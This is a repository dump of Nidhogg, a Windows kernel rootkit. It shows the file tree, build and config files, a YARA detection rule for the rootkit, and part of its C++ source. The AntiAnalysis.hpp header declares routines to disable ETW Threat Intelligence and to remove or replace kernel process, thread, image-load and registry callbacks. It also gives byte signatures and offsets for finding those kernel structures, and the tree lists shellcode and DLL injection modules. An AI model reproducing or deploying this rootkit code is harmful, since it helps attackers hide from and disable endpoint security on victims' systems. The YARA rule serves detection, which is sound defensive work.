├── .gitattributes
├── .github
└── ISSUE_TEMPLATE
│ ├── bug_report.md
│ └── feature_request.md
├── .gitignore
├── .idea
├── Nidhogg.iml
├── modules.xml
└── vcs.xml
├── LICENSE
├── Nidhogg.sln
├── Nidhogg.yar
├── Nidhogg
├── AntiAnalysis.cpp
├── AntiAnalysis.hpp
├── AutoLock.h
├── BaseParser.cpp
├── BaseParser.h
├── CallbacksParser.cpp
├── CallbacksParser.h
├── DllInjectionParser.cpp
├── DllInjectionParser.h
├── DriverParser.cpp
├── DriverParser.h
├── EtwTiParser.cpp
├── EtwTiParser.h
├── FastMutex.cpp
├── FastMutex.h
├── FileParser.cpp
├── FileParser.h
├── FileUtils.cpp
├── FileUtils.hpp
├── InitialOperation.hpp
├── MemoryAllocator.hpp
├── MemoryHelper.hpp
├── MemoryUtils.cpp
├── MemoryUtils.hpp
├── ModuleParser.cpp
├── ModuleParser.h
├── NetworkParser.cpp
├── NetworkParser.h
├── NetworkUtils.cpp
├── NetworkUtils.hpp
├── Nidhogg.cpp
├── Nidhogg.h
├── Nidhogg.vcxproj
├── Nidhogg.vcxproj.filters
├── NidhoggCommon.h
├── NidhoggDeviceControl.hpp
├── Parsers.h
├── PatchParser.cpp
├── PatchParser.h
├── ProcessParser.cpp
├── ProcessParser.h
├── ProcessUtils.cpp
├── ProcessUtils.hpp
├── RegistryParser.cpp
├── RegistryParser.h
├── RegistryUtils.cpp
├── RegistryUtils.hpp
├── ScriptManager.cpp
├── ScriptManager.h
├── ShellcodeInjectionParser.cpp
├── ShellcodeInjectionParser.h
├── ThreadParser.cpp
├── ThreadParser.h
├── WindowsTypes.hpp
├── pch.cpp
└── pch.h
├── NidhoggClient
├── Nidhogg.cpp
├── Nidhogg.h
├── NidhoggAntiAnalysis.cpp
├── NidhoggClient.cpp
├── NidhoggClient.vcxproj
├── NidhoggClient.vcxproj.filters
├── NidhoggFile.cpp
├── NidhoggIoctls.h
├── NidhoggMemory.cpp
├── NidhoggNetwork.cpp
├── NidhoggProcess.cpp
├── NidhoggRegistry.cpp
├── NidhoggStructs.h
├── pch.cpp
└── pch.h
├── README.md
├── images
└── logo.png
└── post_compilation_operation.py
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Bug report
3 | about: Create a report to help us improve
4 | title: "[BUG]"
5 | labels: bug
6 | assignees: Idov31
7 |
8 | ---
9 |
10 | **Describe the bug**
11 | A clear and concise description of what the bug is.
12 |
13 | **To Reproduce**
14 | Steps to reproduce the behavior:
15 | 1. Running function...
16 | 2. Caused...
17 |
18 | **Expected behavior**
19 | A clear and concise description of what you expected to happen.
20 |
21 | **Screenshots**
22 | If applicable, add screenshots to help explain your problem.
23 |
24 | **Versions**
25 | - OS & Build
26 | - Nidhogg's Version
27 | - Branch name
28 | - Function that you attempted to run & error code
29 |
30 | **Additional context**
31 | Add any other context about the problem here.
32 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/feature_request.md:
--------------------------------------------------------------------------------
1 | ---
2 | name: Feature request
3 | about: Suggest an idea for this project
4 | title: "[FEATURE]"
5 | labels: enhancement
6 | assignees: Idov31
7 |
8 | ---
9 |
10 | **Is your feature request related to a problem? Please describe.**
11 | A clear and concise description of the problem it tries to solve.
12 |
13 | **Describe the solution you'd like**
14 | A clear and concise description of what you want to happen.
15 |
16 | **Resources**
17 | Any resources you have to help creating this feature
18 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 | .gitignore
6 | idatocppsig.py
7 | images/logo_original.png
8 | # User-specific files
9 | *.rsuser
10 | *.suo
11 | *.user
12 | *.userosscache
13 | *.sln.docstates
14 |
15 | # User-specific files (MonoDevelop/Xamarin Studio)
16 | *.userprefs
17 |
18 | # Mono auto generated files
19 | mono_crash.*
20 |
21 | # Build results
22 | [Dd]ebug/
23 | [Dd]ebugPublic/
24 | [Rr]elease/
25 | [Rr]eleases/
26 | x64/
27 | x86/
28 | [Ww][Ii][Nn]32/
29 | [Aa][Rr][Mm]/
30 | [Aa][Rr][Mm]64/
31 | bld/
32 | [Bb]in/
33 | [Oo]bj/
34 | [Oo]ut/
35 | [Ll]og/
36 | [Ll]ogs/
37 |
38 | # Visual Studio 2015/2017 cache/options directory
39 | .vs/
40 | # Uncomment if you have tasks that create the project's static files in wwwroot
41 | #wwwroot/
42 |
43 | # Visual Studio 2017 auto generated files
44 | Generated\ Files/
45 |
46 | # MSTest test Results
47 | [Tt]est[Rr]esult*/
48 | [Bb]uild[Ll]og.*
49 |
50 | # NUnit
51 | *.VisualState.xml
52 | TestResult.xml
53 | nunit-*.xml
54 |
55 | # Build Results of an ATL Project
56 | [Dd]ebugPS/
57 | [Rr]eleasePS/
58 | dlldata.c
59 |
60 | # Benchmark Results
61 | BenchmarkDotNet.Artifacts/
62 |
63 | # .NET Core
64 | project.lock.json
65 | project.fragment.lock.json
66 | artifacts/
67 |
68 | # ASP.NET Scaffolding
69 | ScaffoldingReadMe.txt
70 |
71 | # StyleCop
72 | StyleCopReport.xml
73 |
74 | # Files built by Visual Studio
75 | *_i.c
76 | *_p.c
77 | *_h.h
78 | *.ilk
79 | *.meta
80 | *.obj
81 | *.iobj
82 | *.pch
83 | *.pdb
84 | *.ipdb
85 | *.pgc
86 | *.pgd
87 | *.rsp
88 | *.sbr
89 | *.tlb
90 | *.tli
91 | *.tlh
92 | *.tmp
93 | *.tmp_proj
94 | *_wpftmp.csproj
95 | *.log
96 | *.vspscc
97 | *.vssscc
98 | .builds
99 | *.pidb
100 | *.svclog
101 | *.scc
102 |
103 | # Chutzpah Test files
104 | _Chutzpah*
105 |
106 | # Visual C++ cache files
107 | ipch/
108 | *.aps
109 | *.ncb
110 | *.opendb
111 | *.opensdf
112 | *.sdf
113 | *.cachefile
114 | *.VC.db
115 | *.VC.VC.opendb
116 |
117 | # Visual Studio profiler
118 | *.psess
119 | *.vsp
120 | *.vspx
121 | *.sap
122 |
123 | # Visual Studio Trace Files
124 | *.e2e
125 |
126 | # TFS 2012 Local Workspace
127 | $tf/
128 |
129 | # Guidance Automation Toolkit
130 | *.gpState
131 |
132 | # ReSharper is a .NET coding add-in
133 | _ReSharper*/
134 | *.[Rr]e[Ss]harper
135 | *.DotSettings.user
136 |
137 | # TeamCity is a build add-in
138 | _TeamCity*
139 |
140 | # DotCover is a Code Coverage Tool
141 | *.dotCover
142 |
143 | # AxoCover is a Code Coverage Tool
144 | .axoCover/*
145 | !.axoCover/settings.json
146 |
147 | # Coverlet is a free, cross platform Code Coverage Tool
148 | coverage*.json
149 | coverage*.xml
150 | coverage*.info
151 |
152 | # Visual Studio code coverage results
153 | *.coverage
154 | *.coveragexml
155 |
156 | # NCrunch
157 | _NCrunch_*
158 | .*crunch*.local.xml
159 | nCrunchTemp_*
160 |
161 | # MightyMoose
162 | *.mm.*
163 | AutoTest.Net/
164 |
165 | # Web workbench (sass)
166 | .sass-cache/
167 |
168 | # Installshield output folder
169 | [Ee]xpress/
170 |
171 | # DocProject is a documentation generator add-in
172 | DocProject/buildhelp/
173 | DocProject/Help/*.HxT
174 | DocProject/Help/*.HxC
175 | DocProject/Help/*.hhc
176 | DocProject/Help/*.hhk
177 | DocProject/Help/*.hhp
178 | DocProject/Help/Html2
179 | DocProject/Help/html
180 |
181 | # Click-Once directory
182 | publish/
183 |
184 | # Publish Web Output
185 | *.[Pp]ublish.xml
186 | *.azurePubxml
187 | # Note: Comment the next line if you want to checkin your web deploy settings,
188 | # but database connection strings (with potential passwords) will be unencrypted
189 | *.pubxml
190 | *.publishproj
191 |
192 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
193 | # checkin your Azure Web App publish settings, but sensitive information contained
194 | # in these scripts will be unencrypted
195 | PublishScripts/
196 |
197 | # NuGet Packages
198 | *.nupkg
199 | # NuGet Symbol Packages
200 | *.snupkg
201 | # The packages folder can be ignored because of Package Restore
202 | **/[Pp]ackages/*
203 | # except build/, which is used as an MSBuild target.
204 | !**/[Pp]ackages/build/
205 | # Uncomment if necessary however generally it will be regenerated when needed
206 | #!**/[Pp]ackages/repositories.config
207 | # NuGet v3's project.json files produces more ignorable files
208 | *.nuget.props
209 | *.nuget.targets
210 |
211 | # Microsoft Azure Build Output
212 | csx/
213 | *.build.csdef
214 |
215 | # Microsoft Azure Emulator
216 | ecf/
217 | rcf/
218 |
219 | # Windows Store app package directories and files
220 | AppPackages/
221 | BundleArtifacts/
222 | Package.StoreAssociation.xml
223 | _pkginfo.txt
224 | *.appx
225 | *.appxbundle
226 | *.appxupload
227 |
228 | # Visual Studio cache files
229 | # files ending in .cache can be ignored
230 | *.[Cc]ache
231 | # but keep track of directories ending in .cache
232 | !?*.[Cc]ache/
233 |
234 | # Others
235 | ClientBin/
236 | ~$*
237 | *~
238 | *.dbmdl
239 | *.dbproj.schemaview
240 | *.jfm
241 | *.pfx
242 | *.publishsettings
243 | orleans.codegen.cs
244 |
245 | # Including strong name files can present a security risk
246 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
247 | #*.snk
248 |
249 | # Since there are multiple workflows, uncomment next line to ignore bower_components
250 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
251 | #bower_components/
252 |
253 | # RIA/Silverlight projects
254 | Generated_Code/
255 |
256 | # Backup & report files from converting an old project file
257 | # to a newer Visual Studio version. Backup files are not needed,
258 | # because we have git ;-)
259 | _UpgradeReport_Files/
260 | Backup*/
261 | UpgradeLog*.XML
262 | UpgradeLog*.htm
263 | ServiceFabricBackup/
264 | *.rptproj.bak
265 |
266 | # SQL Server files
267 | *.mdf
268 | *.ldf
269 | *.ndf
270 |
271 | # Business Intelligence projects
272 | *.rdl.data
273 | *.bim.layout
274 | *.bim_*.settings
275 | *.rptproj.rsuser
276 | *- [Bb]ackup.rdl
277 | *- [Bb]ackup ([0-9]).rdl
278 | *- [Bb]ackup ([0-9][0-9]).rdl
279 |
280 | # Microsoft Fakes
281 | FakesAssemblies/
282 |
283 | # GhostDoc plugin setting file
284 | *.GhostDoc.xml
285 |
286 | # Node.js Tools for Visual Studio
287 | .ntvs_analysis.dat
288 | node_modules/
289 |
290 | # Visual Studio 6 build log
291 | *.plg
292 |
293 | # Visual Studio 6 workspace options file
294 | *.opt
295 |
296 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
297 | *.vbw
298 |
299 | # Visual Studio LightSwitch build output
300 | **/*.HTMLClient/GeneratedArtifacts
301 | **/*.DesktopClient/GeneratedArtifacts
302 | **/*.DesktopClient/ModelManifest.xml
303 | **/*.Server/GeneratedArtifacts
304 | **/*.Server/ModelManifest.xml
305 | _Pvt_Extensions
306 |
307 | # Paket dependency manager
308 | .paket/paket.exe
309 | paket-files/
310 |
311 | # FAKE - F# Make
312 | .fake/
313 |
314 | # CodeRush personal settings
315 | .cr/personal
316 |
317 | # Python Tools for Visual Studio (PTVS)
318 | __pycache__/
319 | *.pyc
320 |
321 | # Cake - Uncomment if you are using it
322 | # tools/**
323 | # !tools/packages.config
324 |
325 | # Tabs Studio
326 | *.tss
327 |
328 | # Telerik's JustMock configuration file
329 | *.jmconfig
330 |
331 | # BizTalk build output
332 | *.btp.cs
333 | *.btm.cs
334 | *.odx.cs
335 | *.xsd.cs
336 |
337 | # OpenCover UI analysis results
338 | OpenCover/
339 |
340 | # Azure Stream Analytics local run output
341 | ASALocalRun/
342 |
343 | # MSBuild Binary and Structured Log
344 | *.binlog
345 |
346 | # NVidia Nsight GPU debugger configuration file
347 | *.nvuser
348 |
349 | # MFractors (Xamarin productivity tool) working folder
350 | .mfractor/
351 |
352 | # Local History for Visual Studio
353 | .localhistory/
354 |
355 | # BeatPulse healthcheck temp database
356 | healthchecksdb
357 |
358 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
359 | MigrationBackup/
360 |
361 | # Ionide (cross platform F# VS Code tools) working folder
362 | .ionide/
363 |
364 | # Fody - auto-generated XML schema
365 | FodyWeavers.xsd
366 |
367 | # VSCode stuff
368 | .vscode/
369 | /Nidhogg/InjectionShellcode.hpp
370 |
--------------------------------------------------------------------------------
/.idea/Nidhogg.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Nidhogg.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.34024.191
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Nidhogg", "Nidhogg\Nidhogg.vcxproj", "{13C57810-FF18-4258-ABC9-935040A54F0B}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NidhoggClient", "NidhoggClient\NidhoggClient.vcxproj", "{67F619F9-91AB-437B-92C7-3DE51D4110E0}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|ARM = Debug|ARM
13 | Debug|ARM64 = Debug|ARM64
14 | Debug|x64 = Debug|x64
15 | Debug|x86 = Debug|x86
16 | Release|ARM = Release|ARM
17 | Release|ARM64 = Release|ARM64
18 | Release|x64 = Release|x64
19 | Release|x86 = Release|x86
20 | EndGlobalSection
21 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
22 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM.ActiveCfg = Debug|ARM
23 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM.Build.0 = Debug|ARM
24 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM.Deploy.0 = Debug|ARM
25 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM64.ActiveCfg = Debug|ARM64
26 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM64.Build.0 = Debug|ARM64
27 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|ARM64.Deploy.0 = Debug|ARM64
28 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x64.ActiveCfg = Debug|x64
29 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x64.Build.0 = Debug|x64
30 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x64.Deploy.0 = Debug|x64
31 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x86.ActiveCfg = Debug|Win32
32 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x86.Build.0 = Debug|Win32
33 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Debug|x86.Deploy.0 = Debug|Win32
34 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM.ActiveCfg = Release|ARM
35 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM.Build.0 = Release|ARM
36 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM.Deploy.0 = Release|ARM
37 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM64.ActiveCfg = Release|ARM64
38 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM64.Build.0 = Release|ARM64
39 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|ARM64.Deploy.0 = Release|ARM64
40 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x64.ActiveCfg = Release|x64
41 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x64.Build.0 = Release|x64
42 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x64.Deploy.0 = Release|x64
43 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x86.ActiveCfg = Release|Win32
44 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x86.Build.0 = Release|Win32
45 | {13C57810-FF18-4258-ABC9-935040A54F0B}.Release|x86.Deploy.0 = Release|Win32
46 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|ARM.ActiveCfg = Debug|x64
47 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|ARM.Build.0 = Debug|x64
48 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|ARM64.ActiveCfg = Debug|x64
49 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|ARM64.Build.0 = Debug|x64
50 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|x64.ActiveCfg = Debug|x64
51 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|x64.Build.0 = Debug|x64
52 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|x86.ActiveCfg = Debug|Win32
53 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Debug|x86.Build.0 = Debug|Win32
54 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|ARM.ActiveCfg = Release|x64
55 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|ARM.Build.0 = Release|x64
56 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|ARM64.ActiveCfg = Release|x64
57 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|ARM64.Build.0 = Release|x64
58 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|x64.ActiveCfg = Release|x64
59 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|x64.Build.0 = Release|x64
60 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|x86.ActiveCfg = Release|Win32
61 | {67F619F9-91AB-437B-92C7-3DE51D4110E0}.Release|x86.Build.0 = Release|Win32
62 | EndGlobalSection
63 | GlobalSection(SolutionProperties) = preSolution
64 | HideSolutionNode = FALSE
65 | EndGlobalSection
66 | GlobalSection(ExtensibilityGlobals) = postSolution
67 | SolutionGuid = {5BF4CF66-610E-4395-B16D-4F0E9EAF2593}
68 | EndGlobalSection
69 | EndGlobal
70 |
--------------------------------------------------------------------------------
/Nidhogg.yar:
--------------------------------------------------------------------------------
1 | /*
2 | YARA Rule Set
3 | Author: Ido Veltzman
4 | Date: 2025-03-18
5 | Reference: https://github.com/Idov31/Nidhogg
6 | */
7 |
8 | rule Nidhogg {
9 | meta:
10 | description = "Nidhogg rootkit"
11 | author = "Ido Veltzman"
12 | reference = "https://github.com/Idov31/Nidhogg"
13 | date = "2025-03-18"
14 |
15 | strings:
16 | $s1 = "31122.6172" fullword wide
17 | $s2 = "\\Device\\Nidhogg" fullword wide
18 | $s3 = "\\??\\Nidhogg" fullword wide
19 | $s4 = "31105.6171" fullword wide
20 | $s5 = "\\Driver\\Nsiproxy" fullword wide
21 | $s6 = "Nidhogg.pdb" fullword wide
22 |
23 | $op1 = { 4C 8D 05 DC 95 00 00 48 8B D0 49 8B CE E8 E1 F4 FF FF }
24 | $op2 = { 48 8B 55 CF 4C 8D 05 49 AE 00 00 48 8B CE E8 89 0E 00 00 }
25 | $op3 = { 48 8D 44 24 78 4C 8B C6 49 8B CE 48 89 44 24 20 E8 EE FE FF FF }
26 | condition:
27 | uint16(0) == 0x5a4d and filesize < 200KB and
28 | ( 5 of ($s*) and 2 of ($op*) )
29 | }
30 |
--------------------------------------------------------------------------------
/Nidhogg/AntiAnalysis.hpp:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "pch.h"
3 |
4 | extern "C" {
5 | #include "WindowsTypes.hpp"
6 | #include "NidhoggCommon.h"
7 | }
8 | #include "MemoryUtils.hpp"
9 |
10 | constexpr UCHAR EtwThreatIntProvRegHandleSignature1[] = {0x60, 0x4C, 0x8B, 0xCC};
11 | constexpr UCHAR EtwThreatIntProvRegHandleSignature2[] = {0xD2, 0x48, 0x8B, 0xCC};
12 | constexpr UCHAR EtwThreatIntProvRegHandleSignature3[] = { 0x70, 0x48, 0x8B, 0xCC };
13 | constexpr UCHAR PspCreateProcessNotifyRoutineSignature[] = { 0x4C, 0x8D, 0xCC };
14 | constexpr UCHAR PspCreateThreadNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC };
15 | constexpr UCHAR PspLoadImageNotifyRoutineSignature[] = { 0x48, 0x8D, 0xCC };
16 | constexpr UCHAR CallbackListHeadSignature[] = { 0x4C, 0x8D, 0xCC };
17 | constexpr UCHAR CmpCallbackListLockSignature[] = { 0x48, 0x8D, 0xCC };
18 | constexpr UCHAR CmpInsertCallbackInListByAltitudeSignature[] = { 0x8B, 0xCB, 0xE8, 0xCC };
19 | constexpr UCHAR CallFunctionSignature[] = { 0xE8, 0xCC };
20 | constexpr UCHAR RoutinesListCountSignature[] = { 0xF0, 0xFF, 0x05, 0xCC };
21 | constexpr SIZE_T EtwThreatIntProvRegHandleDistance = 0x29D;
22 | constexpr SIZE_T EtwGuidEntryOffset = 0x20;
23 | constexpr SIZE_T CallbackListHeadSignatureDistance = 0xC4;
24 | constexpr SIZE_T CmpCallbackListLockSignatureDistance = 0x4A;
25 | constexpr SIZE_T CmpInsertCallbackInListByAltitudeSignatureDistance = 0x108;
26 | constexpr SIZE_T CmpRegisterCallbackInternalSignatureDistance = 0x22;
27 | constexpr SIZE_T PspSetCreateProcessNotifyRoutineSignatureDistance = 0x20;
28 | constexpr SIZE_T PspSetCreateThreadNotifyRoutineSignatureDistance = 0xF;
29 | constexpr SIZE_T PsSetLoadImageNotifyRoutineExDistance = 0xF;
30 | constexpr SIZE_T PspCreateProcessNotifyRoutineDistance = 0xC3;
31 | constexpr SIZE_T PspCreateThreadNotifyRoutineDistance = 0x9B;
32 | constexpr SIZE_T PspLoadImageNotifyRoutineDistance = 0x10B;
33 | constexpr SIZE_T EtwThreatIntProvRegHandleOffset = 8;
34 | constexpr SIZE_T CallFunctionOffset = 5;
35 | constexpr SIZE_T CmpInsertCallbackInListByAltitudeOffset = 7;
36 | constexpr SIZE_T CmpCallbackListLockOffset = 7;
37 | constexpr SIZE_T CallbacksListCountOffset = 7;
38 | constexpr SIZE_T RoutinesListOffset = 7;
39 | constexpr SIZE_T PsNotifyRoutinesRoutineCountOffset = 0xB;
40 | constexpr SIZE_T MAX_DRIVER_PATH = 256;
41 | constexpr SIZE_T MAX_KERNEL_CALLBACKS = 256;
42 | constexpr ULONG MAX_ROUTINES = 64;
43 |
44 | enum CallbackType {
45 | ObProcessType,
46 | ObThreadType,
47 | PsCreateProcessTypeEx,
48 | PsCreateProcessType,
49 | PsCreateThreadType,
50 | PsCreateThreadTypeNonSystemThread,
51 | PsImageLoadType,
52 | CmRegistryType
53 | };
54 |
55 | struct KernelCallback {
56 | CallbackType Type;
57 | ULONG64 CallbackAddress;
58 | bool Remove;
59 | };
60 |
61 | struct DisabledKernelCallback {
62 | CallbackType Type;
63 | ULONG64 CallbackAddress;
64 | ULONG64 Entry;
65 | };
66 |
67 | struct ObCallback {
68 | PVOID PreOperation;
69 | PVOID PostOperation;
70 | CHAR DriverName[MAX_DRIVER_PATH];
71 | };
72 |
73 | struct PsRoutine {
74 | ULONG64 CallbackAddress;
75 | CHAR DriverName[MAX_DRIVER_PATH];
76 | };
77 |
78 | struct CmCallback {
79 | ULONG64 CallbackAddress;
80 | ULONG64 Context;
81 | CHAR DriverName[MAX_DRIVER_PATH];
82 | };
83 |
84 | struct ObCallbacksList {
85 | CallbackType Type;
86 | ULONG NumberOfCallbacks;
87 | ObCallback* Callbacks;
88 | };
89 |
90 | struct PsRoutinesList {
91 | CallbackType Type;
92 | ULONG NumberOfRoutines;
93 | PsRoutine* Routines;
94 | };
95 |
96 | struct CmCallbacksList {
97 | ULONG NumberOfCallbacks;
98 | CmCallback* Callbacks;
99 | };
100 |
101 | OB_PREOP_CALLBACK_STATUS ObPreOpenDummyFunction(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION Info);
102 | VOID ObPostOpenDummyFunction(PVOID RegistrationContext, POB_POST_OPERATION_INFORMATION Info);
103 | void CreateProcessNotifyExDummyFunction(PEPROCESS Process, HANDLE ProcessId, PPS_CREATE_NOTIFY_INFO CreateInfo);
104 | void CreateProcessNotifyDummyFunction(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create);
105 | void CreateThreadNotifyDummyFunction(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create);
106 | void LoadImageNotifyDummyFunction(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo);
107 | NTSTATUS RegistryCallbackDummyFunction(PVOID CallbackContext, PVOID Argument1, PVOID Argument2);
108 |
109 | class AntiAnalysis {
110 | private:
111 | DisabledKernelCallback DisabledCallbacks[MAX_KERNEL_CALLBACKS];
112 | ULONG DisabledCallbacksCount;
113 | ULONG DisabledCallbacksLastIndex;
114 | ULONG PrevEtwTiValue;
115 | FastMutex Lock;
116 |
117 | NTSTATUS MatchCallback(PVOID callack, CHAR driverName[MAX_DRIVER_PATH]);
118 | NTSTATUS AddDisabledCallback(DisabledKernelCallback Callback);
119 | NTSTATUS RemoveDisabledCallback(KernelCallback* Callback, DisabledKernelCallback* DisabledCallback);
120 |
121 | public:
122 | void* operator new(size_t size) {
123 | return AllocateMemory(size, false);
124 | }
125 |
126 | void operator delete(void* p) {
127 | if (p)
128 | ExFreePoolWithTag(p, DRIVER_TAG);
129 | }
130 |
131 | AntiAnalysis();
132 | ~AntiAnalysis();
133 |
134 | NTSTATUS EnableDisableEtwTI(bool enable);
135 | NTSTATUS RestoreCallback(KernelCallback* Callback);
136 | NTSTATUS RemoveCallback(KernelCallback* Callback);
137 | NTSTATUS ListObCallbacks(ObCallbacksList* Callbacks);
138 | NTSTATUS ListPsNotifyRoutines(PsRoutinesList* Callbacks, ULONG64 ReplacerFunction, ULONG64 ReplacedFunction);
139 | NTSTATUS ListRegistryCallbacks(CmCallbacksList* Callbacks, ULONG64 ReplacerFunction, ULONG64 ReplacedFunction);
140 | };
141 |
142 | inline AntiAnalysis* NidhoggAntiAnalysis;
143 |
--------------------------------------------------------------------------------
/Nidhogg/AutoLock.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | template
4 | struct AutoLock {
5 | AutoLock(TLock& lock) : _lock(lock) {
6 | _lock.Lock();
7 | }
8 |
9 | ~AutoLock() {
10 | _lock.Unlock();
11 | }
12 |
13 | private:
14 | TLock& _lock;
15 | };
--------------------------------------------------------------------------------
/Nidhogg/BaseParser.cpp:
--------------------------------------------------------------------------------
1 | #include "pch.h"
2 | #include "BaseParser.h"
3 |
4 | BaseParser::~BaseParser() {
5 | if (this->options) {
6 | ExFreePoolWithTag(this->options, DRIVER_TAG);
7 | this->options = nullptr;
8 | }
9 | }
10 |
11 | NTSTATUS BaseParser::Execute(Options commandId, PVOID args[MAX_ARGS]) {
12 | UNREFERENCED_PARAMETER(commandId);
13 | UNREFERENCED_PARAMETER(args);
14 | return STATUS_SUCCESS;
15 | }
16 |
17 | /*
18 | * Description:
19 | * ExecuteCommand is responsible for parsing the arguments and executing the command.
20 | *
21 | * Parameters:
22 | * @argsNumber [USHORT] -- Number of arguments to run.
23 | * @data [PUCHAR] -- The raw script data.
24 | * @dataSize [size_t] -- Size if the raw script data.
25 | * @index [size_t] -- Index to start parsing the args and command from.
26 | * @outOffset [ULONG*] -- Output offset to shift the index by for the next command.
27 | *
28 | * Returns:
29 | * @status [NTSTATUS] -- Result of the command execution or error if failed.
30 | */
31 | NTSTATUS BaseParser::ExecuteCommand(USHORT argsNumber, PUCHAR data, size_t dataSize, size_t index, ULONG* outOffset) {
